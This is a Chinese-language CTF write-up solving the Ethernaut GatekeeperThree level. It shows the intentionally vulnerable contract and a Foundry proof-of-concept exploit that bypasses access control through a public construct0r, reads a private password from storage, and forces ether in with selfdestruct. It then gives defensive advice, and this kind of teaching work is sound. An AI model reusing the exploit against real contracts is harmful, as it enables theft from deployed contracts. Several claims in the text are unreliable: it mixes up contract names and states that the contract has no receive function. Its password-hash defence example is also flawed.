Ethernaut Solutions
on my Github[1]我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
About Ethernaut
Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
平台网址:https://ethernaut.zeppelin.solutions/
GateKeeperThree合约分析
攻击分析
ctf 网址:https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882
攻击类型:访问权限控制
目标:进入合约,将 entrant 更改成 deployer
要求:满足三个 modifier 条件
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive () external payable {}
}
这个与 GateKeeperOne[2], GateKeeperTwo[3] 类似, 这个 ctf 稍微难一些,让我们一块看一下。
gateOnegateOne 要求调用者不是合约地址,并且调用者不是合约的 owner。通过阅读 GatekeeperThree 合约里发现owner在construct0r()进行设置,该函数是 public,任何人都能进行调用。我们通过将 Attack 合约调用 GatekeeperThree.construct0r()来将攻击合约地址设置为owner,之后我们通过合约去调用GateKeeperOne.enter()就能进入 gateOne。
我猜测可能是开发者一不小心将 constructor()写成了constructor(),导致任何人都能调用。在Solidity 0.4.22之前,可以使用 constructor 关键字来声明构造函数并且可以添加 public 作为修饰符,但这种做法已被弃用。在 Solidity 0.8.0 版本,如果将构造函数声明为 public,编译器将会抛出错误,构造函数始终是在合约部署时自动调用的,而不是在合约生命周期内由外部调用的。
gateTwogateTwo要求 allowEntrance 为 true。在这个合约中,allowEntrance 设置为 true 需要通过调用 GateKeeperOne.getAllowance 函数, GateKeeperOne 合约再通过调用trick.checkPassword(_password),由 trick 合约的 checkPassword 函数需要判断传入的_password 是否与合约存储的私有变量 password 相同。如何去获取 password 呢,trick 合约里 password 是私有变量,无法直接读取,这真的是private吗?
solidity的 storage 存储方式有以下特点:
1. 存储在 storage 中的数据是永久性存储的,以键值对的形式存储在插槽(slot)中。
2. 数据在插槽中从右向左排列。当当前插槽空间不足时,会打包当前插槽,并开启下一个插槽来存储数据。对于存储定长数组(长度固定)的情况,数组中的每个元素占据一个插槽。
3. 存储变长数组(长度随元素数量而改变)时比较特殊。在遇到变长数组时,会先启用一个新的插槽(slotA)来存储数组的长度,而数组的实际数据则存储在另一个编号为 slotV 的插槽中。
我们知道链上数据都是公开可读的,不存在真正的 private,理解slot[4]的概念和状态变量在储存中的布局,我们一旦知道合约地址和变量对应 slot,就可以读取任意变量。
foundry 提供了通过 slot 读取变量的方法vm.load(address,slot)。
gateThreegateThree 要求合约的余额大于 0.001 ether。首先,了解常见转账方式有send,transfer,call{value:value}(),使用这些方式对合约进行转账需要对方合约有 fallback 和 receive 函数,而通过阅读 GateKeeperOne 合约发现其中并没有这两个函数,还有什么方式还能向合约进行转 eth 呢?
这块我们选择较为简单的方式,通过selfdestruct(address payable recipient)来销毁合约。
合约可以通过selfdestruct(address payable recipient)来销毁合约,并把合约余额转账给 recipient;
矿工(现在是 builder 和 proposer)接收区块奖励,将奖励地址设置为合约地址。
Proof of Concept
根据以上分析,完整的 PoC 代码如下:
contract Attack {
address public target;
constructor(address _target){
target = _target;
}
function StepOne() public {
(bool success,) = target.call(abi.encodeWithSignature("construct0r()"));
require(success, "Failed to call construct0r");
}
function stepTwo() public {
(bool success,) = target.call(abi.encodeWithSignature("enter()"));
require(success, "Failed to call enter");
}
}
contract Self {
function attack(address _victim) public{
selfdestruct(payable(_victim));
}
receive() external payable {}
}
contract GatekeeperThreeTest is BaseTest {
GatekeeperThree gatekeeperThree = GatekeeperThree(contractAddress);
// GatekeeperThree gatekeeperThree = new GatekeeperThree();
function run() external {
vm.startBroadcast(deployer);
Attack attack = new Attack(contractAddress);
gatekeeperThree.createTrick();
SimpleTrick trick = gatekeeperThree.trick();
// gateOne
attack.StepOne();
// gateTwo
uint _password = uint(vm.load(address(trick), bytes32(uint256(2))));
gatekeeperThree.getAllowance(_password);
assert(gatekeeperThree.allowEntrance() == true);
// gateThree
Self self = new Self();
address(self).call{value: 0.001001 ether}("");
self.attack(address(gatekeeperThree));
attack.stepTwo();
assert(gatekeeperThree.entrant() == deployer);
}
}
防御措施
在合约中存储密码时,直接将密码存储在合约的存储变量中。这种方法存在风险,因为存储在区块链上的数据是公开可见的,可能会被攻击者获取,因此,不建议直接存储原始密码,以下是一些常见的存储密码的方法:a. 哈希存储: 存储密码的常见做法是将密码进行哈希处理,然后将哈希值存储在合约中。这样做可以避免直接存储原始密码,提高安全性。常用的哈希算法包括 SHA-256、keccak256 等。例如:
contract PasswordManager {
mapping(address => bytes32) private passwordHashes;
function setPassword(bytes32 hash) public {
passwordHashes[msg.sender] = hash;
}
function verifyPassword(bytes32 password) public view returns (bool) {
return passwordHashes[msg.sender] == password;
}
}
b. 加密存储: 可以使用对称或非对称加密算法对密码进行加密后再存储。只有合约的授权用户才能解密密码。这种方法提供了更高级别的安全性,但也增加了复杂性。例如:
contract PasswordManager {
mapping(address => bytes) private encryptedPasswords;
function setPassword(bytes encryptedPassword) public {
encryptedPasswords[msg.sender] = encryptedPassword;
}
function verifyPassword(bytes password) public view returns (bool) {
// 解密 encryptedPasswords[msg.sender],然后与输入密码比较
}
}
避免通过 address.balance 进行权限设置,可以通过设置变量来替代,避免合约被强制转账从而影响正常业务逻辑的可能(比如被 selfdestruct 攻击)。
声明:本网站所有相关资料如有侵权请联系站长删除,资料仅供用户学习及研究之用,不构成任何投资建议!